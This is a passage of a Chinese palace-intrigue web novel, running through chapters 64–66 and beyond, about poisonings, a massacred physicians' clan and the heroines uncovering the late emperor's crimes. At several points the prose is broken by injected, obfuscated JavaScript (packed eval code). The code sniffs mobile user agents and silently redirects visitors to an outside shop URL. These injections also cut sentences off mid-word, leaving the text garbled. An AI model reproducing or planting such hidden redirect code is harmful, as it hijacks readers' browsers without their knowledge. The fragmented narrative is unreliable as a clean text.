看着高琢欲言又止的模样,牧泓屿随口保证道:“我懂。天知地知,你知我知。” 日落后,是牧怀兴服药的时辰。 高羡揣着药盒走在宫道上,真是老天都帮他。他正愁着不知怎么拖延牧怀兴,让他同意等牧泓屿一行人回来再动姚映梧,结果还没等他开口,肖逾那边就传来消息说拓跋冽退兵了。这可是牧怀兴自己没来得及支开肖遥,这下怪不到他身上了吧。 高羡现在最头疼的就是甘霆还在盛安,肖攘镰又快回来了。这下,他还得重新想想新的对策了。 原本肃穆的太清宫,如今是满殿的药香。 高羡将手中的药盒递给莫内侍,盒子里的药丸有一股浓烈的草药味,其中还夹杂着一缕淡淡的血腥气。 高羡恭敬道:“陛下,臣斗胆减轻了药量。如今您的身体虚弱,药不能再下那么猛了,不然恐损伤龙体啊。” 牧怀兴点点头,以他的身体,的确不能再服猛药了。他拿起药服下,面色比前几日还难看。 给牧怀兴吃的解药,高羡已经开始逐渐减少药量了,压制毒发的时辰间隔已经大不如前了。 牧怀兴如今就全凭御医和这逐渐减少的解药吊着一口气,眼看就要咽气了。 钟谋推开殿门,殿内奇怪的药味让他微不可察地皱了眉。 他垂下头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426100|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来道:“陛下,太子殿下和楚王殿下在门外候着,说要要事相告。牧怀兴刚服药还没起药效,话都没力气说,只是一味的咳个不停。 莫内侍见状,深知此次是好机会。假意凑到牧怀兴身边,听了两声咳声,起身高声道:“钟内侍,陛下说了他不见两位殿下,让他们回去吧。” 牧怀兴喘着粗气,猛然又咳了起来,俨然是一口气上不来的样子。 莫内侍眼看钟内侍担心地上前走了两步,立刻眼疾手快的帮牧怀兴顺起气来。 莫内侍抬头道:“钟内侍,两位殿下还在外面候着呢。” 见莫旬已经帮陛下顺好气,钟谋稍稍安心下来,他无奈回道:“是,陛下。” 莫旬的小动作高羡自然是一点不落是的看在了眼里,他走近一瞧,牧怀兴的书案上累起满满一大摞罗没批阅的奏章。 看牧怀兴已经无力理政的样子,高羡勾唇冷笑。只要逐渐减少药量,牧怀兴就牢牢攥在他们手里了。甘霆肖攘镰之徒,何足挂齿。 莫内侍低身俯在牧怀兴身边,假意恳切建议道:“陛下,您现在身子骨不好,这消息可不能走漏了。您服的药药性凶险,钟内侍若知道,是断然是不肯让您冒险吃这药的。不如,您就待在太清宫里,有什么事就让我替您通传。” 牧怀兴身上没那么冷了,只是还咳得厉害。自高羡不敢下猛药后,最近服药见效也慢了许多。肖攘镰还未回来,他如今的情况,还是少见人为妙。 “好。告诉钟谋,明日起,朕就不再上朝了,奏章由钟谋送进来给朕。日后太清宫进出的人和东西,就你和钟谋一块替朕看好了。” “是,陛下。” “都…咳咳…都退下吧…咳……” 牧怀兴咳完,又强打起精神处理起眼前堆成山的奏章。里面大多都是弹劾太子的,这份是说他未能及时批送粮草到边境一事。 他不耐烦的将奏章扔到一边,仗都不打了,还送那么多粮草干什么。太子新立,被各种针对是他意料之中的事,只是这些人净是搅混水的,报上来的都是些不痛不痒的小事和烂事,没一个正经的。 看来,大臣们都在试探他对太子的态度。 牧怀兴又拿起一本,是姚尺书的。他说滕州赋税被战事牵连,又转头说担心他的身体,说来说去没提太子一句话。 牧怀兴拿起笔批复,“知晓,勿念。今年赋税一事,命楚王协办。” 他得让姚尺书知道,他很在乎屹儿。 为了牧家皇室稳定,他已经牺牲了一个峥儿。屹儿得让姚尺书好好辅佐教导,不然峥儿的付出就白白浪费了。” 夜间风寒,走在街上的姚映梧打了个寒战。她看看身边几人,都还穿的单衣,只要她自己觉得冷。 呼—— 又一阵秋风扫过姚映梧的全身,她不由抱紧了双臂。看来,即使吃了药她也没有恢复到正常人的体魄。 高琢和阿缘练武体质好,她就不比了。可牧泓屿同她一样,是养在屋里的金贵孩子,怎么他也不怕冷啊。 姚映梧发抖时高琢立刻察觉到了,看着阿缘盯着牧泓屿背影不解的模样他默默走到风口的位置替她挡住大风。 阿缘病虽然好了,可还是当心点为妙。 不远处街角的宅子外,水蓝色衣裙的娘子正等着他们,眼睛略带深意的一一扫过几人。 64. 乌寒之毒 深夜的巷尾,一抹水蓝色格外显眼。 衣娘见几人已经到了,便将房门钥匙交给了姚映梧。 “姑娘,屋子里的东西都是我这几年新添置的,你们放心用就好。对了,南院最里面两间屋子里装的都是我夫君的遗物。那些毕竟是死人的东西,为了避讳,你们就住在北院吧。” 姚映梧接过钥匙,一一应下。 衣娘想了想自己没什么要嘱咐的事了,便准备离开。临走时,她瞧见牧泓屿拉着马车的缰绳,好心提醒道:“这位公子,马厩在东院,你要嫌喂马来回折腾麻烦,就住在东院里吧。那儿原本是我孩子住的地方,后来他去外地做生意了,多年不曾回来,就是地方有点小,但里面的东西我都留的好好的。” “多谢。”衣娘想得很是周到,牧泓屿应声谢过。 衣娘走后,姚映梧推开大门。入目是一个小院子,院内种满了各色各样的花,还有搭好的葡萄藤架,收拾的很温馨。 只可惜时辰不早了,几人匆匆看了几眼就开始着手归置东西,准备入睡了。 姚映梧与肖遥住在北院,高琢住在她们隔壁小一点的屋子,牧泓屿将马拴在马厩后就近住到东院的小屋子。忙了一天,几人都又困又乏,安置好后,便各自回屋入睡了。 临睡前,肖遥强打着精神给红豆去了封信,既是问药,也是问病。 此时的盛安城,灯火通明,人声鼎沸。 入夜,正是闹市最热闹的时候。 姜燃疲惫的活动了下酸痛的双臂,她已经不眠不休的忙了好几日。 白天要在高府陪忆欢玩,晚上还要找当年陷害姜家灭门的线索。接到肖遥的信,又马不停蹄赶到毫州城外还顺路救了高琢。 要不是因为救他耽误了时辰,怕不能赶在关城门前回来,自己高低是要见肖遥一面的。 肖遥找了家卖胡饼羊汤的店,进去要了碗羊汤。 今夜在姚尺书那她又是一无所获。 前几日她已经探过忠勇侯府,关于姜家的事没找到,倒是探听到了些其他消息,甘霆居然和肖扶锦是青梅竹马,两人当时都要谈婚论嫁了,结果因为一道圣旨,两人迫不得已才分开。而且太子妃甘玉帛竟然不是甘霆亲生的女儿,是他从外面带回来的孤儿。 既然甘家与姜家灭门无关,这些传言她自然也就没放在心上,听过就当算了。 羊汤很快就端上了桌,寒冷的秋夜,喝碗羊汤吃块胡饼身上也暖和了。 姜燃吃着胡饼,心中盘算着还有谁没查。 最怀疑的两人都没找到线索,难道会是章珥。 姜燃搅着汤,心里不太相信是他。盛安世家中,章家一直式微。直到章珥接手章家家主,靠自己做上御史之位章家才渐渐排入六大世家。后来牧怀兴继位,章珥送幼妹章珮入宫,加上他将女儿嫁给学生姚尺书做继室,章家在盛安才终于站稳脚跟。 章家一直靠的是章珥还有皇家牧氏和姚家,这样看起来,章家和姜家没什么冲突啊。 姜燃无奈叹口气,难道这件事是死掉姚勘所为,所以她才没从姚尺书那找到什么蛛丝马迹。 她将热汤吹凉喝下,看来一会儿她还得再去一趟姚家才行。 “诶,你们说这高家能不能做盛安六大世家?” 高家?身后一桌人突然谈论起高家,姜燃喝汤的动作猛然一顿,身体也不自觉更靠近他们,想听个清楚。 其中一个书生打扮的人接话道:“那还用说,肯定能啊!先不说这高统领本事高强,就看他一到盛安任职,月月用自己的工钱买东西往慧慈院送米送布,可见他多么心系百姓。我借住在旁边的法因寺,老家的表弟今年没钱来盛安参加明年的科考,高统领来法因寺为女祈福,得知此事,特意留了银子给我和表弟,让我们安心考试,不用为食宿发愁。这样的人,就该做盛安世家的表率。” 书生身边的货郎也道:“高家人的确都是好人啊,上次我卖给高家二公子几颗石榴,他一直记得我呢。前段日子天热,我只要路过高府他都给我送水喝,有时候还给我好吃的糕点呢,只可惜这段时间不知为什么没看见他了。世家中,裴家逐渐没落了,我看高家用不了多久肯定也能成为世家大族。” 听着百姓口中净是夸赞的话,姜燃嗤笑一声,论收买人心,高羡还真是有一套。 姜燃记起自己刚到盛安时听说法因寺求平安很灵,她还特意去了一趟,结果就碰上了高羡在带人布施酥山。 他嘴上说着是为女儿生辰祈福,干的还不是笼络人心的勾当。他手上的人命那么多,姜燃不信会这种人能求到平安。 只可怜小琢当时还被他蒙在鼓里,乐呵呵跟在他身边。姜燃又想起了尘起,他待在那人身边助纣为虐,亏他被人追杀时她执意想救他一命。 “非也非也。” 酒楼里一个头发花白的算命先生捏着羊尾胡反驳道。 “高家毕竟在盛安没有根基,不像裴家是前晋时在盛安做官的。高家若真能壮大,最多也就顶替顶替章家了。” “章御史还在朝中为官呢,贵妃娘娘也是盛宠不衰怎么会章家呢?” 那算命老头故作高深的笑了两声才道:“你们年轻不知道,当年前晋时哪是什么‘姚肖甘牧裴章’那是‘姚肖甘裴姜’啊。姜家世代在在皇宫中做太医令,当时的姜家家主姜裳那可是赫赫有名的神医。后来她招婿入姜府,那人就是大邺的开国名将朝凌云。后来朝凌云为救先帝而死,姜家被赐皇姓改姓牧。要不是后来的牧念汝将军犯了事,姜家满门抄斩,章家哪有资格坐上这盛安六大世家啊。” 啪嗒—— 姜燃手中的瓷勺掉进了汤里,她没想到里面居然还有这样一层缘故。 章珥。 姜燃眯起眼睛想起她身上那根金簪,看来她去一趟章府前,得先进宫一趟问问这些前尘旧事了。 咕咕,咕咕。 刚回到家中,姜燃就收到了肖遥的信。她将其中的内容抄下,又将信烧掉。 她带着纸条去找了慧慈院里的孩子,那孩子收了她的铜板,每次都帮她读纸条。 “映梧病重隐情,火莲花下落。还有明日清晨,要你去毫州东常坊坊门处的茶铺见面。” 姜燃听了个大概,熟练的递上铜板。她望着月色勾唇冷冷笑道,看来姚映梧终于发现真相了。 既然她想知道,自己自然不会瞒她。 翌日清晨,天色昏暗。 今年的秋日多雨,天又阴沉沉的不知何时会下雨。 趁着这个时辰毫州城还未有人来,姚映梧和肖遥悄悄的溜出门到东常坊的茶铺等着姜燃。 阴冷的天气喝上一壶热茶,全身都热乎起来。 肖遥连喝了好几杯,舒服的喟叹:“这种天气果然还是上杯热茶最舒服了,要是能喝上一杯四喜烹的茶就更好了。” 姚映梧没吭声,只是捧着茶杯一言不发。茶水袅袅的白烟升腾,姚映梧的心跳也噔噔噔的加快。 即使心中已经有了猜测,她也依旧担心那即将来到的真相。 身后传来一阵脚步声,肖遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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比起乌寒,姜燃不愿多说火莲花的事。她草草解释道:“万物相生相克,这火莲花嘛就是一种在深山瘴气中的长得好看毒物,貌似莲花实则有剧毒。它性热,正好能克制寒乌茶的毒。” “长得好看的花。”肖遥喃喃念了两声又追问道,“这花也只长在鄢州吗?那红豆你今夜去鄢州能来得及吗?阿姜姐和莲娘婶婶都在回来盛安的路上,要不要我让她们带回来?” “不用!”姜燃拒绝的干脆,她扯着嘴角干笑两声,“其实这火莲花除了鄢州,云州和滕州交界的深山里也有。那个…呃…父亲…父亲生前带我看过,我留了一些在身上……” “你有火莲花!” 肖遥惊呼,接着又哀嚎道:“红豆你怎么不早说呀。我们从盛安走到这,我每晚都担心找不到火莲花,要是知道你有,我就是抗旨也要去庆州和大家并肩作战。反正我们都带着面具,铁甲覆面军中也有我们肖家亲信用肖家戟发现不了我的。” 高琢走后,姜燃一直被忆欢缠着玩。最近又忙着找姜家灭门的线索,根本没来得及打听那晚宫宴发生了什么。加之牵扯牧怀兴,宫内宫外都被封锁了消息,她也刚从忆欢那听说了消息,这不就赶紧来告诉她了。 其中内情姜燃肯定没法全告诉肖遥,她真假参半道:“那日宫宴封了消息,你们又走的急。我也是刚知道这事,这不一收到你的信,我就赶紧来跟你说我有解药了吗。” 肖遥还直委屈,姜燃连哄带安慰,连连向她赔不是。 姚映梧在一旁不紧不慢地开口,“所以,姑娘在城楼初见那日就知道我是被下毒了吗?” 65. 为君不仁 得知真相的姚映梧冷静的出奇,姜燃没想到她居然这么淡定,于是直接了当的坦然回道:“是。” 姜燃姑娘如姚映梧预想的那般承认的干脆,她想知道其中的原因,于是追问道:“为什么?” “其实,我那日是想杀高琢的,只是我临时改了主意。但我对你不同,你姓姚,那日我们初见时我是跟在你身后到的大观门,我本来就是要杀了你的。是我听了你站在城墙上说的一番话你又帮我找到了肖府,我这才改了主意。” 两人语气不善的交谈,即使像肖遥这般大条的神经也意识到了气氛不对,自觉噤了声缩到一边,只是眼神不停来回看着两人。 姚映梧与姜燃对视了很久,气氛也越发凝重。 姚映梧率先移开眼,道:“我从没怪过姑娘,姑娘救了我一命对我有大恩,映梧自是感激不尽。我只是奇怪,姑娘为何既不杀我还给了我解药又顺着我的话说我中毒了。” 姜燃嘴角噙着笑,慢条斯理的说着自己的理由,“我给你吃解药,算是报答你为我指路之恩。可你们姚家欠我的,这一点恩情可还不清。一颗我随身带着的药恰好能治你的病,并且你吃完马上就能好。我以为你这么聪明,很快就能悟到其中的内情呢。” “我的确怀疑过,但既然病已经好了又何必深究原因呢。”姚映梧抬眸望着姜燃,对她说得姚家欠她的东西有了猜测。 “姑娘是怀疑姜家灭门惨案是与我父亲有关吗?” 姜燃端起茶冲着姚映梧一笑,没有搭腔,只是自顾自喝起茶来。 见姜燃没什么反应,姚映梧微蹙眉头,也只好喝起茶来。 四方的桌子,三人各坐一边。姚映梧与姜燃对面而坐,肖遥夹在中间是左右为难。 肖遥冲着姚映梧使了个眼色,让她问清病因就好,不要提姜家的事。 肖遥手边也没闲着,她拉着姜燃的衣角可怜巴巴的望着姜燃,希望她别因为姚尺书而怪罪阿缘。 姜燃长叹一声,总是要给肖遥一点面子的。 姜燃放下茶杯,道:“你父亲与姜家的事我自会查明真相,找出罪有应得之人。不告诉你中毒,只是我想用你试出令你中毒之人除了他是否还有其他人。所以,我并未对你道明真相,是怕打草惊蛇。” 听姜燃说还未查到姜家灭门与父亲之间的关联,姚映梧也稍稍放下心来。父亲虽为了稳固姚家权势做了一些不好的事,可她相信,父亲不会是一个陷害忠良的人。 给自己下毒之人,姚映梧有了猜测。那个最有嫌疑,却也最不可能的名字在她马上脱口而出之时被她又硬生生憋了回去。 她试探着问姜燃道:“姑娘,若乌寒之毒你祖母只给过老定远侯与先帝,那我身上的毒是?” 姜燃望着她已然惨白的脸色,嘴上却依旧不敢相信的说出他的名字。姜燃心中暗道好笑,可碍于皎皎的面子,她咽下那些难听话,直接将她从黎稔那听来的往事告诉她。 “姚二小姐心中明明已经有了答案,又何必再问我呢。整个大邺谁人不知,先帝赏赐的那辆朱红金漆马车是姚家最大的殊荣。可姚尺书一无战功在身,二无协立伟业之功,他最多算个贤臣,先帝何必赏赐这个殊荣给姚家呢?赏赐这辆马车时,裴夫人刚刚过世不久,先帝还特意开恩让裴太守哦不,是裴少监,将故去亡姐的尸身埋葬在滕州。” 姚映梧脸色已经是难看极了,姜燃决定再下一剂猛药。姚家人与牧氏一族离心,她很乐意看到。 她揽住肖遥,上身微微朝姚映梧前倾,沉声道:“盛安童谣你们应该都还记得吧。” 肖遥被她突如其来的动作吓了一跳,她先是看了看茶铺中有没有人来,才轻声道:“桓帝丧,幼子伤,长子立,诏书藏。这童谣盛安无人不知啊。” 姜燃又问道:“十二和那个和羹居说书的荆南,公廨是怎么发的告示你们还记得吗?” 对这两个人姚映梧其实私下也留意过,她道:“不是说他们畏罪自戕……” 姜燃冷笑一声道:“当年先帝全大邺通缉十二,逼得他回兰诏避难。‘桓帝丧,幼子伤,长子立,诏书藏;帝不仁,祸乱生,天下牧,邺将故;羊女子,兆女教,三月皇,改朝纲。这才是一整首童谣。‘” 姚映梧与肖遥还没从听到的童谣中反应过来,姜燃又把黎稔告诉她的话讲给这两人听。“当年先帝信了童谣,认为姜肖两家日后势必会有勾结,肖家会扶持襄武皇后的孩子为帝,挟天子以令诸侯。所以他要借姜家送的乌寒,毒害襄武皇后腹中的孩子。不料那日酒宴,你娘亲裴澜同姚尺书赴宴,襄武皇后得知你娘亲有孕,便将自己补身的参茶赏给了她。” 姜燃深吸一口气掩住语气中的悲痛,“那参茶掺了十足的乌寒,你娘亲服下本该立刻暴毙,却因为你在她腹中替她分担了毒性,所以你们二人才没立刻死去。牧启为了不让你父亲察觉真相,才会同意你舅舅将她中毒已深的尸体带离盛安,还对你舅舅与父亲处处打压,挑拨二人关系。他怕你父亲得知真相,不再效忠于大邺。姚映梧,那朱红金漆马车是用你娘亲的命换来的。” 咚—— 空荡荡的茶铺,窗外一声重击的响声格外明显。 原本昏昏欲睡的小二听到动静,赶忙起身去外面看是谁在捣乱。 姜燃背对着窗户皱紧眉头,有人偷听她们谈话。 她系上帷帽,对还在震惊中的二人劝道:“此事牧怀兴必然也知晓,牧氏皇族从根上就烂了,有这样的皇帝,大邺早晚会和前晋一样。火莲花我会准备好,四日后我会放到你们常去的和羹居雅间。姚映梧实话告诉你吧,你的药只能延缓毒发,不能彻底解毒。火莲花只有一朵,最后的解药你是要献给牧怀兴换你们姚家高官厚禄,还是你留给自己解毒,我就不管了。” 说罢,姜燃头也不回的转身离去。 外面的大街上渐渐热闹起来,走卒贩夫吆喝着手中的货物,茶铺也有了许多人前来光顾。 姚映梧与肖遥自姜燃走后一动没动,桌上的茶也没了热气。 好心的小二以为她们遇到了难事,没开口打扰她们,只是一遍遍上来为她们的茶壶添热水。 这样大的事,姚映梧人生第一次遇到。她理不清头绪,脑袋又涨又痛。 父亲、舅舅还有长姐与她。他们为大邺,为牧家皇族尽忠尽责,最后换来了什么。 她甚至不敢相信,她被这病磋磨了十几年,每夜躺在床上咳的辗转难眠时,她哭着恨老天连一个健康的身体都不肯给她。 可今日姜燃却告诉她,老天已经十分眷顾她了,她应该和娘亲一样中毒身亡,是不幸中的万幸才侥幸活了下来。 要不是她在娘亲腹中与她分了毒性,她都没命被生下来。 她怨自己的病拖累娘亲劳神,害她早早离世。原来她与娘亲都是被人害的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439468|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凭什么她和娘亲被害成这样,凶手却心安理得的坐在高位,看着她们痛苦,享受她们的供奉。他高高在上,因为心虚随意赏赐的殊荣被她们一家感恩戴德的接受,身为臣子无以为报,只有向凶手献上一颗忠心。 听到先帝给姑祖母下毒,肖遥的耳边便只剩一阵嗡嗡声。姑祖母深爱牧启,所以在肖家走投无路时才会劝祖父归降大邺。 乱世中,都道得铁甲覆面军得天下,他们肖家祖辈,带着愿意归顺的铁甲覆面军为大邺攻下前晋数不清的城池,甚至在前晋时被污蔑叛国小人,人人得而诛之。 她的几个叔公和最小的姑祖母,都死在了为牧家征战天下的路上。可他牧启居然因为一首可笑的童谣猜忌他们肖家,害死了姑祖母的孩子,甚至还牵连了无辜之人。 肖遥无助的望向姚映梧,却看见她眼中满是坚定,她拉住肖遥的手,“皎皎,既然此君非明君,我们又何必纠结。五皇子既然封了太子,我信他日后会是一位好皇帝的。” 肖遥回握紧姚映梧的手,她们选择一同站在表兄一党,“阿缘,红豆给你做的药你还有多余的吧。” 望着肖遥颇有深意的笑,姚映梧马上明白了她的用意,原来姜燃姑娘临走时说这些话是这个意思。 移花接木,偷梁换柱。 巷尾的宅子里,高琢在院中无聊的打着哈欠。 真是怪了,怎么他一起来,家里的人都不见了。他到处找了一圈,都没见到半个人影。 今日天阴沉沉的,恐怕要下雨,可大家怎么都出门去了。 吱呀—— 牧泓屿拎着一盒点心推门进来。 高琢正要喊他,却发现他心不在焉,人也在出神。 高琢无奈的撇撇嘴,走上前接过来他手上的点心。 嘶—— 高琢不小心碰到了牧泓屿手上撞伤的地方,他疼的手一缩。 “怎么了,快给我瞧瞧。” 高琢紧张的拉过牧泓屿的手挽起他的衣袖,发现他的手背撞的青紫一片,指节处还破了皮。 高琢看他撞的严重,担心道:“你这是在哪撞的?” 牧泓屿挣开高琢,将袖子放下来,漫不经心道:“没事,我是买点心的时候不小心撞到墙上了,不妨事。” “这怎么会不妨事,你手伤的这么厉害,肖遥回来不得担心啊。你在这坐好,我去给你拿点药酒来,揉开瘀血很快就好了。” 牧泓屿眉头一皱,他急忙叫住高琢,“高琢!你千万别让她们知道我的手伤了,我…我不想让皎皎觉得我很没用。” 高琢叹口气,回头道:“唉,谁让咱们是朋友呢,我不帮你遮掩谁还帮你呢。你这伤口一看就是撞的,肖遥若问起来,你就说我让你跟我学功夫,你不小心撞到墙上了。” 撞到墙上这种蠢笨的借口让牧泓屿脸色有点难看,但他也想不到更好的借口了。 他对高琢道:“多谢。” 高琢揶揄道:“这一趟出来你倒变得客气起来了,日后你当了亲王郡王什么的·,别忘了我就行。” 姚映梧与肖遥商量好药的事,二人心情大好。便去酒楼买了许多菜,回来给几人当午饭。 几人坐在餐桌上正吃着,肖遥闻道一股淡淡的奇怪的味道。她突然放下木箸,在着牧泓屿身边嗅个不停。 她疑惑的对牧泓屿道:“你喝酒了?还是药酒!” 66. 灭门内情 牧泓屿先是跟高琢对视一眼,接着装作无辜地否认道:“我们两个大白天怎么会喝酒呢。我是早起想跟高琢学两招防身来着,结果不一个没注意才把手撞伤了。是高琢好心帮我拿药酒揉开瘀血,现在瘀血散了已经没事了。” 说罢,他举起手来给肖遥看。 肖遥见牧泓屿的手背上的淤紫的确有散开的迹象,便也没再过多追问。 她咽下一口米饭,关心道:“从小时候我在马场救了你之后,你不是发誓再也不学武了,怎么今日转性又学起来了?” 牧泓屿支吾着还没说出一个所以然来,肖遥想起了什么猛然抬头道:“你们俩个该不会是打架了吧。” 这下,正吃着东西姚映梧都抬起头,她扭头问高琢,“真的?” 高琢连连摆手否认,他好心帮牧泓屿找个借口而已,怎么说着说着还连累到他头上来了。 牧泓屿干笑着搪塞道:“我怎么会和高琢动手呢。经过刺客一事,总是你站出来保护我,可我也想护你一次。虽然高琢功夫不如你好,跟他学几招保命也足够了。” 肖遥还想说什么就被姚映梧夹了一筷子菜打断,姚映梧在肖遥耳边轻声劝道:“皎皎你放心吧,我不是还跟着你练武吗。再说了,小时候发的誓哪能全然作数啊,牧泓屿既然想学你就顺着他吧。而且他能重新练武,不就说明小时候的事他已经不放在心上了吗,他走出幼时的阴影,这不是很好吗。” 经姚映梧这样一说,肖遥觉得在理。与二皇子积怨终归对他不利,小七若能解开心结自己也应当为他高兴的。 肖遥吃完进屋去给家里写信了,高琢和牧泓屿在餐桌旁坐着消食。姚映梧却因为伤着手用着木箸吃东西不是那么顺畅,直到菜都有些凉了,她才吃了个半饱。 姚映梧无奈地放下木箸长叹一声,伤了手,吃东西都麻烦。 一旁的高琢用手摸摸凉透的菜盘,关切道:“阿缘要不要给你热一下?” 姚映梧低头看看还包着细布的手,摇摇头叹口气道:“算了,热了我也吃着费劲。” 牧泓屿见状体贴的从厨房拿出他带回来的桂花糖糕,递给姚映梧,“阿缘,你吃点桂花糖糕吧。这个不用木箸夹,你吃起来不费力。” 看着盘子里的桂花糖糕,姚映梧眼前一亮,一旁的高琢想着阿缘的口味,贴心的取来桂花蜜给她淋上。 盘子中的糕点虽然碎成一块一块的,但不妨碍吃。 姚映梧挑了块比较完整的糕用银叉叉着吃了一口,“和我们在盛安城外吃的一样,那小二说得不错,大邺的桂花糖糕还真都是这个做法。不过淋上和羹居的桂花蜜,吃起来也是家中的味道。可惜摔碎了。” 牧泓屿顺手递给高琢一块,笑了笑,“可能是我放到桌上太用力了吧。你们两个在这吃,马该喂了。” 高琢望着牧泓屿离去的身影欣慰极了,不禁感慨道:“他终于良心发现了,知道替我分担一下了。” 姚映梧噗哧笑了出来,道:“七皇子这下是真的与民同乐了。” 两人打趣完牧泓屿,相视笑了好久。 午后的风吹着院中的桂花,高琢盯着姚映梧的眼睛问道:“阿缘,咱们回盛安前去一趟毫州的市集吧。那日的热闹咱们没赶上,我想和你去看一次舞狮,逛一次庙会。” 回了盛安,他就要去庆州了。不知何日才能回来,还能不能回来。 姚映梧勾起唇角,抬手替高琢理好鬓间的乱发,她问道:“你答应我的簪子呢,准备什么时候送我。” 提到簪子,高琢脸上笑容一滞。那个重要的东西,是时候该给她了。 “十一不是有集市吗,阿缘,我听说庙会上会放孔明灯祈福,等祈福完我就给你。” 深夜,月明星稀。 高羡最近几日天天往宫中跑,经常不在高府住。最开心的就是忆欢,她每日要做的功课都被她丢到一边,整日撒欢似的玩。 一起床,先到巷子里看捏泥人的。中午吃过饭,再跟着尘起到慧慈院和那里的孩子打闹。 忆欢生性爱打抱不平,所以常常在慧慈院帮一些被欺负的人出头,惹了不少游手好闲的歹人。 也因为要跟在忆欢身后解决这些麻烦,高羡就给了她和紫英高府的令牌,让她们靠高府来摆平忆欢惹出的麻烦。高羡时常给这些人银两,让他们能有钱填报肚子,靠着高羡的名号,紫英和花燕也就是姜燃,基本不用动粗就能解决这些麻烦。 靠着“打坏人”的事迹,久而久之,忆欢成了巷子里最受欢迎的孩子王,每次都要玩到太阳下山才肯回家。 这可苦了紫英和姜燃,需要一直陪着她到处跑。姜燃更是有苦说不出,整得她白天都没时间去干自己的事了。 今日是姜燃哄忆欢入睡,她累了一天,没怎么闹腾就沉沉的睡了过去。 看她睡着了,姜燃靠在床边松了口气。 终于有时间干点正事了。 虽然高羡在高府为她和紫英准备了房间,姜燃却因为晚上时常要出门所以不常住在这,白白浪费了许多查清高羡底细的时机。 姜燃如今连惋惜的时间都没有,她还有章珥要去查,查完还得回来做药呢。她快速换上夜行服,系上面巾,带上贴身的软剑和玄火剑,从高府后门的墙头翻了出去。 章府上下守卫稀疏,比姚府还好混进来。姜燃没费什么力气,一路摸到了章府内宅。 姜燃原本还担心自己找不到章府最有嫌疑的地方,结果偌大的章府就属这个地方最偏僻,巡逻经过的家丁最多。 避开家丁,姜燃从窗户翻进屋内。 外屋是书斋,墙上挂满了各种名家墨宝,还有不少章珥自己写的字。她白天陪忆欢玩的时候打听到章珥这人是个书法痴,对这种字能研究一整天,看来果真是名不虚传。 她点燃火折,轻手轻脚地翻箱倒柜,找了一柱香的功夫也什么都没找到。 难道是自己冤枉章珥了?他真的是个好官,没害过姜家? 姜燃心中怀疑,手上翻找的动作却没停。她接连在怀疑的甘毅和姚尺书那碰了壁,章珥是她最后查明真相的希望了。 门窗紧闭的书斋,姜燃带着面巾小心翼翼的将里屋和外屋都翻了个底朝天。她鼻尖上的汗珠顺着下巴滚落,滴到了书案上。 姜燃察觉,抬手擦去,又顺便扯下脸上的面巾透透气。 忙了一晚上,什么都没发现。 也是,冒充皇帝写圣旨害死一门忠烈。这样大的案子要她,她也不会留下证据。 姜燃坐在章珥的太师椅上喘着气,猛然瞥见书架上有一本卷轴装的书被随手扔在最里面架子的最下层,和其他的书的待遇完全不一样。 姜燃走过去,借着火折的微光看到书上面落了厚厚一层。 她甚是奇怪,都说章珥最是爱书,书斋里的藏书更是大邺第一,他怎么会允许自己心爱的藏书落灰而不管呢。 姜燃重新系上面巾,拂去尘土打开一瞧,里面对仗工整,看起来写的都是诗。 姜燃翻看着,其中一首名为红豆的诗她熟悉不已。就连那红豆二字的字迹,都是她忘不掉的模样。 姜燃拿起用手指沾着墨汁,写下了红豆二字。每一处笔画都和书上的字如出一辙,也是她写的最好最漂亮的两个字。 突然,一个念头浮现在姜燃的脑中,有了这本诗集,一个学识渊博并且对书法也颇有心得的大家是不是能仿出一模一样的字。 当年呈到牧启面前的那封信,到底还是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个孩子,对了,在姜念汝肚子里的孩子。那个黎稔费尽心机留住的变数,当年他就不该心软,应该斩草除根的。 可是,他是怎么活下来的,谁有胆子敢救姜家人? 是了,姜念汝曾与韦均凝交好,肯定是肖家! 章珥凭着多年为官冷静的头脑迅速理清了思路,多亏这个孩子今日跳了出来。陛下病重需要依靠肖家,他正愁没有机会扳倒太子和肖家,他就自己送上门来了。 “你是姜家的孩子,姜家当年被先帝下旨满门抄斩,那你是怎么活下来的。”章珥一边分散姜燃的注意,一边将手摸上砚台。 这点不入流的小动作姜燃看一眼都觉得污了眼睛,她一剑划开了章珥右手的筋脉,登时血液飞溅。 章珥惊呼一声,捂着右手哀嚎不止。 “我可没有耐心听你胡说八道,我问你,你当年是不是仿照了姜念汝的字改了信蒙骗了牧启。” “大胆…竟敢,竟敢直呼先帝名讳。 